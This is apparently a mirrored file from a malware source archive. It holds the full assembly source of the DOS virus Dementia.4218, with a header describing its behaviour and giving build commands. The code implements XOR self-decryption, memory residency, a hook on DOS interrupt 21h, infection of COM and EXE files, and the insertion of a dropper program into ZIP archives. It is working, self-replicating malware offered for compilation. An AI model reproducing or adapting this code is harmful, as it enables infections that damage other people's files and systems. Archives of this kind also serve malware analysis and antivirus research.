mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
1938 lines
68 KiB
NASM
1938 lines
68 KiB
NASM
comment *
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Dementia.4218
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Disassembly by
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Darkman/29A
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Dementia.4218 is a 4218 bytes parasitic resident COM/EXE/ZIP virus. Infects
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files at close file, open file and load and/or execute program by appending
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the virus to the infected COM/EXE file and storing in the infected ZIP file.
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Dementia.4218 has an error handler, 16-bit exclusive OR (XOR) encryption in
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file and is using archive infection technique.
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To compile Dementia.4218 with Turbo Assembler v 4.0 type:
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TASM /M DEMENTI_.ASM
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TLINK /x DEMENTI_.OBJ
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EXE2BIN DEMENTI_.EXE DEMENTI_.COM
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*
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.model tiny
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.code
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code_begin:
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call delta_offset
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delta_offset:
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pop si ; Load SI from stack
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add si,(crypt_begin-delta_offset-02h)
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mov di,si ; DI = offset of code_end - 02h
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std ; Set direction flag
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mov cx,(crypt_begin-crypt_end-02h)/02h
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decrypt_key equ word ptr $+01h ; Decryption key
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mov dx,00h ; DX = decryption key
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push cs cs ; Save segments at stack
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pop ds es ; Load segments from stack (CS)
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decrypt_loop:
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lodsw ; AX = word of encrypted code
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xor ax,dx ; Decrypt two bytes
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stosw ; Store two plain bytes
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jmp crypt_end
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nop
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crypt_end:
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loop decrypt_loop
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cld ; Clear direction flag
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push cs ; Save CS at stack
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sub si,(crypt_end-code_begin)
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nop
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mov cl,04h ; Divide by paragraphs
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shr si,cl ; SI = offset of crypt_end in para...
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mov ax,cs ; AX = code segment
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add ax,si ; Add code segment to delta offset...
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push ax ; Save AX at stack
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lea ax,virus_begin ; AX = offset of virus_begin
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push ax ; Save AX at stack
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retf ; Return far!
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virus_begin:
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push cs ; Save CS at stack
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pop ds ; Load DS from stack (CS)
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pop ax ; Load AX from stack (CS)
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mov [code_seg_],ax ; Store code segment
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mov bx,1492h ; Dementia.4218 function
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call close_file
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cmp bx,1776h ; Already resident?
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je virus_exit ; Equal? Jump to virus_exit
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call install
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virus_exit:
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mov ah,[com_or_exe] ; AH = COM or EXE executable?
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cmp ah,00h ; COM executable?
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nop
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je vir_com_exit ; Equal? Jump to vir_com_exit
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mov ax,[code_seg_] ; AX = code segment
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mov bx,[initial_cs] ; AX = initial CS relative to star...
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sub ax,bx ; Subtract initial CS relative to ...
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mov dx,ax ; DX = segment of PSP for current ...
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mov bx,[code_seg] ; BX = original code segment
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add ax,bx ; Add original code segment to seg...
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mov [code_seg],ax ; Store original code segment
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xchg ax,dx ; AX = segment of current PSP proc...
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cli ; Clear interrupt-enable flag
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mov bx,[stack_seg] ; BX = original stack segment
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add ax,bx ; Add original stack segment to se...
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mov ss,ax ; SS = original stack segment
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mov ax,[stack_ptr] ; AX = original stack pointer
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mov sp,ax ; SP = " " "
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sti ; Set interrupt-enable flag
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mov ah,62h ; Get current PSP address
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int 21h
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mov ds,bx ; DS = segment of PSP for current ...
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mov es,bx ; ES = segment of PSP for current ...
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xor ax,ax ; Zero AX
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xor bx,bx ; Zero BX
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xor cx,cx ; Zero CX
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xor dx,dx ; Zero DX
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xor si,si ; Zero SI
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xor di,di ; Zero DI
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jmp dword ptr cs:[instruct_ptr]
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vir_com_exit:
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mov di,100h ; DI = offset of beginning of code
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lea si,origin_code ; SI = offset of origin_code
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nop
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movsw ; Move the original code to beginning
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movsb ; " " " " " "
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push es ; Save ES at stack
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mov ax,100h ; AX = offset of beginning of code
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push ax ; Save AX at stack
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xor ax,ax ; Zero AX
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xor bx,bx ; Zero BX
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xor cx,cx ; Zero CX
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xor dx,dx ; Zero DX
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xor si,si ; Zero SI
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xor di,di ; Zero DI
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push es ; Save ES at stack
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pop ds ; Load DS from stack (ES)
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retf ; Return far!
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upcase_char proc near ; Upcase character
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cmp al,'a' ; Lowcase character?
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jl dont_upcase ; Less? Jump to dont_upcase
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cmp al,'z' ; Lowcase character?
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jg dont_upcase ; Greater? Jump to dont_upcase
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sub al,20h ; Upcase character
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dont_upcase:
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ret ; Return!
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endp
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int21_virus proc near ; Interrupt 21h of Dementia.4218
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pushf ; Save flags at stack
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cld ; Clear direction flag
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cmp ah,3eh ; Close file?
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jne tst_open_fil ; Not equal? Jump to tst_open_fil
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cmp bx,1492h ; Dementia.4218 function?
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jne tst_open_fil ; Not equal? Jump to tst_open_fil
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mov bx,1776h ; Already resident
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popf ; Load flags from stack
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iret ; Interrupt return!
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tst_open_fil:
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cmp ah,3dh ; Open file
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jne tst_load_and ; Not equal? Jump to tst_load_and
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cmp al,0ffh ; Dementia.4218 function
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je dementia_fun ; Equal? Jump to dementia_fun
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push ax si ; Save registers at stack
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mov si,dx ; SI = offset of filename
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find_dot:
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lodsb ; AL = byte of filename
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cmp al,00h ; End of filename?
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je open_fi_exit ; Equal? Jump to open_fi_exit
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cmp al,'.' ; Found the dot in the filename
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jne find_dot ; Not equal? Jump to find_dot
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lodsb ; AL = byte of extension
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call upcase_char
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cmp al,'C' ; COM executable?
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jne tst_exe_exec ; Not equal? Jump to tst_exe_exec
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lodsb ; AL = byte of extension
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call upcase_char
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cmp al,'O' ; COM executable?
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jne open_fi_exit ; Not equal? Jump to open_fi_exit
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lodsb ; AL = byte of extension
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call upcase_char
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cmp al,'M' ; COM executable?
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jne open_fi_exit ; Not equal? Jump to open_fi_exit
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call inf_com_exe
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jmp open_fi_exit
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nop
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tst_exe_exec:
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cmp al,'E' ; EXE executable?
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jne tst_zip_arch ; Not equal? Jump to tst_zip_arch
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lodsb ; AL = byte of extension
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call upcase_char
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cmp al,'X' ; EXE executable?
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jne open_fi_exit ; Not equal? Jump to open_fi_exit
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lodsb ; AL = byte of extension
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call upcase_char
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cmp al,'E' ; EXE executable?
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jne open_fi_exit ; Not equal? Jump to open_fi_exit
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call inf_com_exe
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jmp open_fi_exit
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nop
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tst_zip_arch:
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cmp al,'Z' ; ZIP archive?
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jne open_fi_exit ; Not equal? Jump to open_fi_exit
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lodsb ; AL = byte of extension
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call upcase_char
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cmp al,'I' ; ZIP archive?
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jne open_fi_exit ; Not equal? Jump to open_fi_exit
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lodsb ; AL = byte of extension
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call upcase_char
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cmp al,'P' ; ZIP archive?
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jne open_fi_exit ; Not equal? Jump to open_fi_exit
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call infect_zip
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jmp open_fi_exit
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nop
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open_fi_exit:
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pop si ax ; Load registers from stack
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jmp tst_load_and
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nop
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dementia_fun:
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mov al,02h ; Dementia.4218 function
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tst_load_and:
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cmp ah,4bh ; Load and/or execute program?
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jne int21_exit ; Not equal? Jump to int21_exit
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call inf_com_exe
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int21_exit:
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popf ; Load flags from stack
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jmp cs:[int21_addr]
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endp
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install proc near ; Allocate memory, move virus to t...
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push es ; Save ES at stack
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mov ah,52h ; Get list of lists
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int 21h
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mov ax,es:[bx-02h] ; AX = segment of first memory con...
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next_mcb:
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mov ds,ax ; DS = segment of current memory c...
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mov al,ds:[00h] ; AL = block type
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cmp al,'Z' ; Last block in chain?
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je allocate_mem ; Equal? Jump to allocate_mem
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mov ax,ds ; AX = segment of current memory c...
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mov bx,ds:[03h] ; BX = size of memory block in par...
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add ax,bx ; Add size of memory block in para...
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inc ax ; AX = segment of next memory cont...
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jmp next_mcb
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allocate_mem:
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mov bx,ds:[03h] ; BX = size of memory block in par...
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sub bx,(code_end-code_begin+0fh)/10h*02h
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mov ds:[03h],bx ; Store new size of memory control...
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mov ax,ds ; AX = segment of last memory cont...
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add ax,bx ; Add new size of memory block in ...
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inc ax ; AX = segment of virus
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mov es,ax ; ES = " " "
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push cs ; Save CS at stack
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pop ds ; Load DS from stack (CS)
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xor si,si ; Zero SI
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xor di,di ; Zero DI
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mov cx,(code_end-code_begin)
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rep movsb ; Move virus to top of memory
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push es ; Save ES at stack
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lea ax,install_ ; AX = offset of install_
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push ax ; Save AX at stack
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retf ; Return far!
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install_:
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push cs ; Save CS at stack
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pop ds ; Load DS from stack (CS)
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mov ax,3521h ; Get interrupt vector 21h
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int 21h
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mov word ptr [int21_addr+02h],es
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mov word ptr [int21_addr],bx
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lea dx,int21_virus ; DX = offset of int21_virus
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mov ax,2521h ; Set interrupt vector 21h
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int 21h
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pop es ; Load ES from stack
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ret ; Return!
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endp
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inf_com_exe proc near ; Infect COM/EXE file
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push bp ; Save BP at stack
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mov bp,sp ; BP = stack pointer
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sub sp,06h ; Correct stack pointer
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push ax bx cx dx si di ds es
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call int24_store
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call open_file
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jc com_exe_exit ; Error? Jump to com_exe_exit
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call load_info
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and cx,0000000000011111b
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cmp cx,0000000000000001b
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je call_close ; Already infected? Jump to call_c...
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mov ax,cs ; AX = code segment
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add ax,(code_end-code_begin+0fh)/10h
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mov ds,ax ; DS = segment of data buffer
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mov cx,20h ; Read thirty-two bytes
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call read_file
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mov ax,ds:[00h] ; AX = EXE signature
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cmp ax,'MZ' ; Found EXE signature?
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je call_infect ; Equal? Jump to call_infect
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cmp ax,'ZM' ; Found EXE signature?
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je call_infect ; Equal? Jump to call_infect
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call infect_com
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jmp call_mark
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nop
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call_infect:
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call infect_exe
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call_mark:
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call infect_mark
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call_close:
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call close_file
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com_exe_exit:
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call int24_load
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pop es ds di si dx cx bx ax
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mov sp,bp ; SP = stack pointer
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pop bp ; Load BP from stack
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ret ; Return!
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endp
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infect_zip proc near ; Infect ZIP archive
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push bp ; Save BP at stack
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mov bp,sp ; BP = stack pointer
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sub sp,28h ; Correct stack pointer
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push ax bx cx dx si di ds es
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xor ax,ax ; Didn't found file
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mov [bp-0eh],ax ; Store didn't found CALLFAST.COM
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mov [bp-10h],ax ; " " " REQUEST.IVA
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mov [bp-12h],ax ; " " " RECEIPT.IVA
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call int24_store
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push dx ds ; Save registers at stack
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lea dx,temp_file ; DX = offset of temp_file
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nop
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call create_file
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mov [bp-0ah],ax ; Store file handle of !#TEMP#!
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pop ds dx ; Load registers from stack
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call open_file
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jnc load_info_ ; No error? Jump to load_info_
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jmp inf_zip_exit
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load_info_:
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mov [bp-08h],ax ; Store file handle of ZIP file
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call load_info
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mov ax,cs ; AX = code segment
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add ax,(code_end-code_begin+0fh)/10h
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mov ds,ax ; DS = segment of data buffer
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next_lfh_sig:
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mov cx,04h ; Read four bytes
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call read_file
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mov ax,ds:[00h] ; AX = low-order word of file head...
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cmp ax,'KP' ; Found low-order word of file ha...?
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je test_dir_sig ; Equal? Jump to test_dir_sig
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jmp call_mark_
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test_dir_sig:
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mov ax,ds:[02h] ; AX = high-order word of file hea...
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cmp ax,201h ; Found high-order word of central...
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jne read_lfh ; Not equal? Jump to read_lfh
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jmp zero_cdh_num
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read_lfh:
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mov cx,1ah ; Read twenty-six bytes
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call read_file
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mov cx,ds:[16h] ; CX = filename length
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mov dx,20h ; DI = offset of filename
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call read_file_
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push cs ; Save CS at stack
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pop es ; Load ES from stack (CS)
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lea di,request_iva ; DI = offset of request_iva
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nop
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mov si,20h ; SI = offset of filename
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request_loop:
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lodsb ; AL = byte of filename
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mov ah,es:[di] ; AH = byte of request_iva
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inc di ; Increase index register
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cmp ah,00h ; End of filename?
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je found_reques ; Equal? Jump to found_reques
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cmp ah,al ; Byte of filename equal to byte o...
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jne find_callfas ; Not equal? Jump to find_callfas
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jmp request_loop
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found_reques:
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mov ax,01h ; Found REQUEST.IVA
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mov [bp-10h],ax ; Store found REQUEST.IVA
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xor cx,cx ; Zero CX
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xor dx,dx ; Zero DX
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call set_pos_cfp
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mov [bp-24h],ax ; AX = low-order word of extra field
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mov [bp-22h],dx ; DX = high-order word of extra field
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find_callfas:
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lea di,callfast_com ; DI = offset of callfast_com
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nop
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mov si,20h ; SI = offset of filename
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callfas_loop:
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lodsb ; AL = byte of filename
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mov ah,es:[di] ; AH = byte of callfast_com
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inc di ; Increase index register
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cmp ah,00h ; End of filename?
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je found_callfa ; Equal? Jump to found_callfa
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cmp ah,al ; Byte of filename equal to byte o...
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jne find_receipt ; Not equal? Jump to find_receipt
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jmp callfas_loop
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found_callfa:
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mov ax,01h ; Found CALLFAST.COM
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mov [bp-0eh],ax ; Store found CALLFAST.COM
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find_receipt:
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lea di,receipt_iva ; DI = offset of receipt_iva
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nop
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mov si,20h ; SI = offset of filename
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receipt_loop:
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lodsb ; AL = byte of filename
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mov ah,es:[di] ; AH = byte of receipt_iva
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inc di ; Increase index register
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cmp ah,00h ; End of filename?
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je found_receip ; Equal? Jump to found_receip
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cmp ah,al ; Byte of filename equal to byte o...
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jne calc_lfh_ptr ; Not equal? Jump to calc_lfh_ptr
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jmp receipt_loop
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found_receip:
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mov ax,01h ; Found RECEIPT.IVA
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mov [bp-12h],ax ; Store found RECEIPT.IVA
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calc_lfh_ptr:
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mov dx,ds:[0eh] ; DX = low-order word of compresse...
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mov cx,ds:[10h] ; CX = high-order word of compress...
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mov ax,ds:[18h] ; AX = extra field length
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add dx,ax ; Add extra field length to compre...
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adc cx,00h ; Convert to 32-bit
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call set_pos_cfp
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jmp next_lfh_sig
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zero_cdh_num:
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xor ax,ax ; No central directory file header...
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mov [bp-0ch],ax ; Store no central directory file ...
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copy_cds:
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mov ax,[bp-0ch] ; AX = number of central directory...
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inc ax ; Increase number of central direc...
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mov [bp-0ch],ax ; Store number of central director...
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mov bx,[bp-08h] ; BX = file handle of ZIP file
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mov cx,2ah ; Read forty-two bytes
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call read_file
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mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
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call write_file_
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mov cx,ds:[18h] ; CX = filename length
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mov bx,ds:[1ah] ; BX = extra field length
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add cx,bx ; Add extra field length to filena...
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mov bx,ds:[1ch] ; BX = file comment length
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add cx,bx ; CX = number of bytes to read
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mov bx,[bp-08h] ; BX = file handle of ZIP file
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call read_file_
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mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
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call write_file_
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mov cx,04h ; Read four bytes
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mov bx,[bp-08h] ; BX = file handle of ZIP file
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call read_file_
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mov ax,ds:[00h] ; AX = low-order word of end of ce...
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cmp ax,'KP' ; Found low-order word of end of ...?
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je test_eoc_sig ; Equal? Jump to test_eoc_sig
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jmp call_mark_
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test_eoc_sig:
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mov ax,ds:[02h] ; AX = high-order word of end of c...
|
|
cmp ax,605h ; Found high-order word of end of ...
|
|
je copy_eocds ; Equal? Jump to read_oecds
|
|
|
|
jmp copy_cds
|
|
copy_eocds:
|
|
mov bx,[bp-08h] ; BX = file handle of ZIP file
|
|
mov cx,12h ; Read eightteen bytes
|
|
call read_file
|
|
|
|
mov ax,ds:[0ch] ; AX = low-order word of offset of...
|
|
mov [bp-18h],ax ; Store low-order word of offset o...
|
|
mov ax,ds:[0eh] ; AX = high-order word of offset o...
|
|
mov [bp-16h],ax ; Store high-order word of offset ...
|
|
|
|
mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
|
|
call write_file_
|
|
|
|
mov cx,ds:[10h] ; CX = zipfile comment length
|
|
mov bx,[bp-08h] ; BX = file handle of ZIP file
|
|
call read_file_
|
|
|
|
mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
|
|
call write_file_
|
|
|
|
mov ax,[bp-10h] ; AX = found REQUEST.IVA
|
|
or ax,ax ; Didn't found REQUEST.IVA
|
|
jz test_callfas ; Zero? Jump to test_callfas
|
|
|
|
jmp test_receipt
|
|
test_callfas:
|
|
mov ax,[bp-0eh] ; AX = found CALLFAST.COM
|
|
or ax,ax ; Didn't found CALLFAST.COM
|
|
jz create_file_ ; Zero? Jump to create_file_
|
|
|
|
jmp call_mark_
|
|
create_file_:
|
|
lea dx,callfast_com ; DX = offset of callfast_com
|
|
nop
|
|
call create_file
|
|
mov [bp-14h],ax ; Store file handle of CALLFAST.COM
|
|
mov bx,[bp-14h] ; BX = file handle of CALLFAST.COM
|
|
|
|
mov cx,(file_end-file_begin)
|
|
nop
|
|
lea dx,file_begin ; DX = offset of file_begin
|
|
nop
|
|
call write_file_
|
|
|
|
call close_file
|
|
|
|
mov ax,01h ; Don't test filesize
|
|
mov [tst_filesize],ax ; Store don't test filesize
|
|
|
|
lea dx,callfast_com ; DX = offset of callfast_com
|
|
nop
|
|
call inf_com_exe
|
|
|
|
xor ax,ax ; Test filesize
|
|
mov [tst_filesize],ax ; Store test filesize
|
|
|
|
push cs ; Save CS at stack
|
|
pop ds ; Load DS from stack (CS)
|
|
|
|
push cs ; Save CS at stack
|
|
pop es ; Load ES from stack (CS)
|
|
|
|
lea si,callfast_com ; SI = offset of callfast_com
|
|
nop
|
|
lea di,filename ; DI = offset of filename
|
|
nop
|
|
mov cx,0dh ; Move thirteen bytes
|
|
rep movsb ; Move CALLFAST.COM to filename
|
|
open_filenam:
|
|
push cs ; Save CS at stack
|
|
pop ds ; Load DS from stack (CS)
|
|
|
|
lea dx,filename ; DX = offset of filename
|
|
nop
|
|
call open_file
|
|
|
|
call set_pos_eof
|
|
mov [bp-1ch],ax ; Store low-order word of filesize
|
|
mov [bp-1ah],dx ; Store high-order word of filesize
|
|
|
|
call calc_crc32
|
|
mov [bp-20h],ax ; Store low-order word of CRC-32 c...
|
|
mov [bp-1eh],dx ; Store high-order word of CRC-32 ...
|
|
|
|
mov bx,[bp-08h] ; BX = file handle of ZIP file
|
|
mov cx,[bp-16h] ; CX = high-order word of offset o...
|
|
mov dx,[bp-18h] ; DX = low-order word of offset of...
|
|
call set_pos_sof_
|
|
|
|
mov ax,cs ; AX = code segment
|
|
add ax,(code_end-code_begin+0fh)/10h
|
|
mov ds,ax ; DS = segment of data buffer
|
|
|
|
mov ax,'KP' ; AX = low-order word of local hea...
|
|
mov ds:[00h],ax ; Store low-order word of local he...
|
|
mov ax,403h ; AX = high-order word of local hea...
|
|
mov ds:[02h],ax ; Store high-order word of local he...
|
|
mov ax,0ah ; AX = version needed to extract (v...
|
|
mov ds:[04h],ax ; Store version needed to extract (...
|
|
xor ax,ax ; AX = general purpose bit flag and...
|
|
mov ds:[06h],ax ; Store general purpose bit flag
|
|
mov ds:[08h],ax ; Store compression method (the fil...
|
|
mov ax,3021h ; AX = last modified file time
|
|
mov ds:[0ah],ax ; Store last modified file time
|
|
mov ax,1ae1h ; AX = last modified file date
|
|
mov ds:[0ch],ax ; Store last modified file date
|
|
mov ax,[bp-20h] ; AX = low-order word of CRC-32 ch...
|
|
mov ds:[0eh],ax ; Store low-order word of CRC-32 c...
|
|
mov ax,[bp-1eh] ; AX = high-order word of CRC-32 c...
|
|
mov ds:[10h],ax ; Store high-order word of CRC-32 ...
|
|
mov ax,[bp-1ch] ; AX = low-order word of filesize
|
|
mov ds:[12h],ax ; Store low-order word of compress...
|
|
mov ds:[16h],ax ; Store low-order word of uncompre...
|
|
mov ax,[bp-1ah] ; AX = high-order word of filesize
|
|
mov ds:[14h],ax ; Store high-order word of compres...
|
|
mov ds:[18h],ax ; Store high-order word of uncompr...
|
|
mov ax,0ch ; AX = filename length (12 bytes)
|
|
mov ds:[1ah],ax ; Store filename length (12 bytes)
|
|
xor ax,ax ; AX = extra field length (0 bytes)
|
|
mov ds:[1ch],ax ; Store extra field length (0 bytes)
|
|
|
|
mov cx,1eh ; Write thirty bytes
|
|
call write_file
|
|
|
|
push cs ; Save CS at stack
|
|
pop ds ; Load DS from stack (CS)
|
|
|
|
lea dx,filename ; DX = offset of filename
|
|
nop
|
|
mov cx,0ch ; Write twelve bytes
|
|
nop
|
|
call write_file_
|
|
|
|
mov ax,cs ; AX = code segment
|
|
add ax,(code_end-code_begin+0fh)/10h
|
|
mov ds,ax ; DS = segment of data buffer
|
|
|
|
mov bx,[bp-14h] ; BX = file handle of CALLFAST.COM
|
|
call set_pos_sof
|
|
copy_callfas:
|
|
mov bx,[bp-14h] ; BX = file handle of CALLFAST.COM
|
|
mov cx,400h ; Read one thousand and twenty-fou...
|
|
call read_file
|
|
cmp ax,00h ; Read all of the file?
|
|
je copy_cds_ ; Equal? Jump to copy_cds_
|
|
|
|
mov cx,ax ; CX = number of bytes actually read
|
|
mov bx,[bp-08h] ; BX = file handle of ZIP file
|
|
call write_file
|
|
|
|
jmp copy_callfas
|
|
copy_cds_:
|
|
mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
|
|
call set_pos_sof
|
|
cpy_cds_loop:
|
|
mov ax,[bp-0ch] ; AX = number of central directory...
|
|
cmp ax,00h ; No central directory file header?
|
|
je wrt_last_cds ; Equal? Jump to write_last_cds
|
|
|
|
dec ax ; Decrease number of central direc...
|
|
mov [bp-0ch],ax ; Store number of central director...
|
|
|
|
mov ax,'KP' ; AX = low-order word of central d...
|
|
mov ds:[00h],ax ; Store low-order word of central ...
|
|
mov ax,201h ; AX = high-order word of central ...
|
|
mov ds:[02h],ax ; Store high-order word of central...
|
|
|
|
mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
|
|
mov cx,2ah ; Read forty-two bytes
|
|
mov dx,04h ; DX = offset of central directory...
|
|
call read_file_
|
|
|
|
mov cx,ds:[1ch] ; CX = filename length
|
|
mov dx,ds:[1eh] ; DX = extra field length
|
|
add cx,dx ; Add extra field length to filena...
|
|
mov dx,ds:[20h] ; DX = file comment length
|
|
add cx,dx ; CX = number of bytes to read
|
|
|
|
push cx ; Save CX at stack
|
|
mov dx,2eh ; DX = offset of central directory...
|
|
call read_file_
|
|
|
|
mov bx,[bp-08h] ; BX = file handle of ZIP file
|
|
pop cx ; Load CX from stack
|
|
add cx,2eh ; Add size of central directory fi...
|
|
call write_file
|
|
|
|
jmp cpy_cds_loop
|
|
wrt_last_cds:
|
|
mov ax,0ah ; AX = version made by (version 1....
|
|
mov ds:[04h],ax ; Store version made by (version 1...
|
|
mov ds:[06h],ax ; Store version needed to extract (...
|
|
xor ax,ax ; AX = general purpose bit flag and...
|
|
mov ds:[08h],ax ; Store general purpose bit flag
|
|
mov ds:[0ah],ax ; Store compression method (the fil...
|
|
mov ax,3021h ; AX = last modified file time
|
|
mov ds:[0ch],ax ; Store last modified file time
|
|
mov ax,1ae1h ; AX = last modified file date
|
|
mov ds:[0eh],ax ; Store last modified file date
|
|
mov ax,[bp-20h] ; AX = low-order word of CRC-32 ch...
|
|
mov ds:[10h],ax ; Store low-order word of CRC-32 c...
|
|
mov ax,[bp-1eh] ; AX = high-order word of CRC-32 c...
|
|
mov ds:[12h],ax ; Store high-order word of CRC-32 ...
|
|
mov ax,[bp-1ch] ; AX = low-order word of filesize
|
|
mov ds:[14h],ax ; Store low-order word of compress...
|
|
mov ds:[18h],ax ; Store low-order word of uncompre...
|
|
mov ax,[bp-1ah] ; AX = high-order word of filesize
|
|
mov ds:[16h],ax ; Store high-order word of compres...
|
|
mov ds:[1ah],ax ; Store high-order word of compres...
|
|
mov ax,0ch ; AX = filename length (12 bytes)
|
|
mov ds:[1ch],ax ; Store filename length (12 bytes)
|
|
xor ax,ax ; AX = extra field length, file co...
|
|
mov ds:[1eh],ax ; Store extra field length (0 bytes)
|
|
mov ds:[20h],ax ; Store file comment length (0 bytes)
|
|
mov ds:[22h],ax ; Store disk number start (0 bytes)
|
|
mov ds:[24h],ax ; Store internal file attributes
|
|
mov ds:[26h],ax ; Store low-order word of external...
|
|
mov ds:[28h],ax ; Store high-order word of externa...
|
|
mov ax,[bp-18h] ; AX = low-order word of offset of...
|
|
mov ds:[2ah],ax ; Store low-order word of relative...
|
|
mov ax,[bp-16h] ; AX = high-order word of offset o...
|
|
mov ds:[2ch],ax ; Store high-order word of relativ...
|
|
|
|
mov bx,[bp-08h] ; BX = file handle of ZIP file
|
|
mov cx,2eh ; Write forty-six bytes
|
|
call write_file
|
|
|
|
push cs ; Save CS at stack
|
|
pop ds ; Load DS from stack (CS)
|
|
|
|
lea dx,filename ; DX = offset of filename
|
|
nop
|
|
mov cx,0ch ; Write twelve bytes
|
|
nop
|
|
call write_file_
|
|
|
|
mov ax,cs ; AX = code segment
|
|
add ax,(code_end-code_begin+0fh)/10h
|
|
mov ds,ax ; DS = segment of data buffer
|
|
|
|
mov ax,'KP' ; AX = low-order word of end of ce...
|
|
mov ds:[00h],ax ; Store low-order word of end of c...
|
|
mov ax,605h ; AX = high-order word of end of c...
|
|
mov ds:[02h],ax ; Store high-order word of end of ...
|
|
|
|
mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
|
|
mov cx,12h ; Read eightteen bytes
|
|
mov dx,04h ; DX = offset of end of central di...
|
|
call read_file_
|
|
|
|
mov cx,ds:[14h] ; CX = zipfile comment length
|
|
push cx ; Save CX at stack
|
|
mov dx,16h ; DX = offset of zipfile comment
|
|
call read_file_
|
|
|
|
mov ax,ds:[08h] ; AX = total number of entries in ...
|
|
inc ax ; Increase total number of entries...
|
|
mov ds:[08h],ax ; Store total number of entries in...
|
|
mov ax,ds:[0ah] ; AX = total number of entries in ...
|
|
inc ax ; Increase total number of entries...
|
|
mov ds:[0ah],ax ; Store total number of entries in...
|
|
mov ax,ds:[0ch] ; AX = low-order word of size of t...
|
|
mov dx,ds:[0eh] ; DX = high-order word of size of ...
|
|
add ax,3ah ; Add size of central directory fi...
|
|
nop
|
|
adc dx,00h ; Convert to 32-bit
|
|
mov ds:[0ch],ax ; Store low-order word of size of ...
|
|
mov ds:[0eh],dx ; Store high-order word of size of...
|
|
mov ax,ds:[10h] ; AX = low-order word of offset of...
|
|
mov dx,ds:[12h] ; DX = high-order word of offset o...
|
|
add ax,2ah ; Add size of local file header to...
|
|
nop
|
|
adc dx,00h ; Convert to 32-bit
|
|
mov bx,[bp-1ah] ; BX = high-order word of filesize
|
|
add dx,bx ; Add high-order word of filesize ...
|
|
mov bx,[bp-1ch] ; BX = low-order word of filesize
|
|
add ax,bx ; Add low-order word of filesize t...
|
|
adc dx,00h ; Convert to 32-bit
|
|
mov ds:[10h],ax ; Store low-order word of offset o...
|
|
mov ds:[12h],dx ; Store high-order word of offset ...
|
|
|
|
mov bx,[bp-08h] ; BX = file handle of ZIP file
|
|
pop cx ; Load CX from stack
|
|
add cx,16h ; Add size of end of central direc...
|
|
call write_file
|
|
|
|
mov bx,[bp-14h] ; BX = file handle of CALLFAST.COM
|
|
call close_file
|
|
|
|
lea dx,filename ; DX = offset of filename
|
|
nop
|
|
call delete_file
|
|
|
|
jmp call_mark_
|
|
test_receipt:
|
|
mov ax,[bp-12h] ; AX = found RECEIPT.IVA
|
|
or ax,ax ; Didn't found RECEIPT.IVA
|
|
jz exam_extra ; Zero? Jump to exam_extra
|
|
|
|
jmp call_mark_
|
|
exam_extra:
|
|
mov bx,[bp-08h] ; BX = file handle of ZIP file
|
|
mov cx,[bp-22h] ; CX = high-order word of extra field
|
|
mov dx,[bp-24h] ; DX = low-order word of extra field
|
|
call set_pos_sof_
|
|
|
|
mov ax,cs ; AX = code segment
|
|
add ax,(code_end-code_begin+0fh)/10h
|
|
mov ds,ax ; DS = segment of data buffer
|
|
mov es,ax ; ES = segment of data buffer
|
|
|
|
mov cx,400h ; Read one thousand and twenty-fou...
|
|
call read_file
|
|
|
|
cld ; Clear direction flag
|
|
xor si,si ; Zero SI
|
|
xor di,di ; Zero DI
|
|
lodsw ; AX = word of extra field
|
|
cmp ax,1492h ; Found infection mark?
|
|
je comp_extra ; Equal? Jump to comp_extra
|
|
|
|
jmp call_mark_
|
|
comp_extra:
|
|
lodsw ; AX = word of extra field
|
|
cmp ax,1776h ; Found infection mark?
|
|
je load_extra ; Equal? Jump to load_extra
|
|
|
|
jmp call_mark_
|
|
load_extra:
|
|
lodsw ; AX = 16-bit decryption key
|
|
mov dx,ax ; DX = " " "
|
|
lodsb ; AL = number of file specifications
|
|
|
|
xor cx,cx ; Zero CX
|
|
mov cl,al ; CL = number of filespecification
|
|
push ax ; Save AX at stack
|
|
decrypt_next:
|
|
push cx ; Save CX at stack
|
|
mov cx,07h ; Decryption fourteen bytes
|
|
decrypt_spec:
|
|
lodsw ; AX = word of encrypted file spec...
|
|
xor ax,dx ; Decrypt word of file specification
|
|
stosw ; Store word of file specification
|
|
|
|
loop decrypt_spec
|
|
|
|
pop cx ; Load CX from stack
|
|
|
|
loop decrypt_next
|
|
|
|
mov ax,ds ; AX = segment of data buffer
|
|
add ax,40h ; AX = segment of pathname
|
|
mov es,ax ; ES = " " "
|
|
|
|
push ds ; Save DS at stack
|
|
push es ; Save ES at stack
|
|
pop ds ; Load DS from stack (ES)
|
|
|
|
mov ah,47h ; Get current directory
|
|
xor dl,dl ; Default drive
|
|
xor si,si ; Zero SI
|
|
int 21h
|
|
pop ds ; Load DS from stack
|
|
|
|
mov ax,es ; AX = segment of pathname
|
|
add ax,04h ; AX = segment of end of pathname
|
|
mov es,ax ; ES = " " " " "
|
|
|
|
xor di,di ; Zero DI
|
|
mov al,'\' ; AL = backslash
|
|
stosb ; Store backslash
|
|
xor al,al ; AL = zero
|
|
stosb ; Store zero
|
|
|
|
push es ; Save ES at stack
|
|
mov ah,2fh ; Get disk transfer area address
|
|
int 21h
|
|
mov [bp-26h],es ; Store segment of disk transfer a...
|
|
mov [bp-28h],bx ; Store offset of disk transfer ar...
|
|
pop es ; Load ES from stack
|
|
|
|
push ds ; Save DS at stack
|
|
mov ax,cs ; AX = code segment
|
|
add ax,(code_end-code_begin+0fh)/10h+48h
|
|
mov ds,ax ; DS = segment of disk transfer area
|
|
|
|
xor dx,dx ; Zero DX
|
|
mov ah,1ah ; Set disk transfer area address
|
|
int 21h
|
|
|
|
lea dx,receipt_iva ; DX = offset of receipt_iva
|
|
nop
|
|
call create_file
|
|
mov bx,ax ; BX = file handle of RECEIPT.IVA
|
|
mov [bp-14h],ax ; Store file handle of RECEIPT.IVA
|
|
pop ds ; Load DS from stack
|
|
|
|
pop ax ; Load AX from stack
|
|
mov dx,01h ; Don't store backslash
|
|
call create_recei
|
|
|
|
mov bx,[bp-14h] ; BX = file handle of RECEIPT.IVA
|
|
call set_pos_sof
|
|
|
|
mov ax,cs ; AX = code segment
|
|
add ax,(code_end-code_begin+0fh)/10h+48h
|
|
mov ds,ax ; DS = segment of disk transfer area
|
|
